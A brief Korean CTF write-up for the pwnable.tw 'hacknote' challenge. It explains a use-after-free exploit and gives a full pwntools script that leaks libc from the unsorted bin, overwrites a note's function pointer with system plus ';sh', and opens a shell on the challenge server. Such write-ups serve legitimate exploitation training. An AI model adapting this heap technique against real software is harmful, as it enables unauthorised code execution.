[pwnable.tw]hacknote

uaf 취약점을 이용해서 풀 수 있다. 우선 언솔빈으로 libc leak해주고 malloc 2번 되는데 첫번째 malloc 해주는 곳에 함수 포인터가 들어가는데 uaf로 함수포인터에 system주소를 넣고 뒤에 인자로 sh을 넣어주면 된다. 그리고 print_note로 함수 포인터를 실행시켜주면 된다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./hacknote')
#p = process('./hacknote')
p = remote('chall.pwnable.tw',10102)
libc = ELF('./libc_32.so.6')
#libc = e.libc
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)

def add_note(size,content):
	sa(':','1')
	sa(':',str(size))
	sa(':',content)

def del_note(idx):
	sa(':','2')
	sa(':',str(idx))

def print_note(idx):
	sa(':','3')
	sa(':',str(idx))

add_note(0x80,'AAAA')
add_note(0x80,'BBBB')
del_note(0)
add_note(0x20,'CCCC')
print_note(0)

p.recvuntil('CCCC')
libc_base = u32(p.recv(4)) - (0x1b0780+176) # main_arena + 176
log.info('libc_base : {}'.format(hex(libc_base)))

add_note(0x20,'DDDD')
del_note(2)
del_note(3)
add_note(8,p32(libc_base + libc.symbols['system']) + ";sh")

print_note(0)

p.interactive()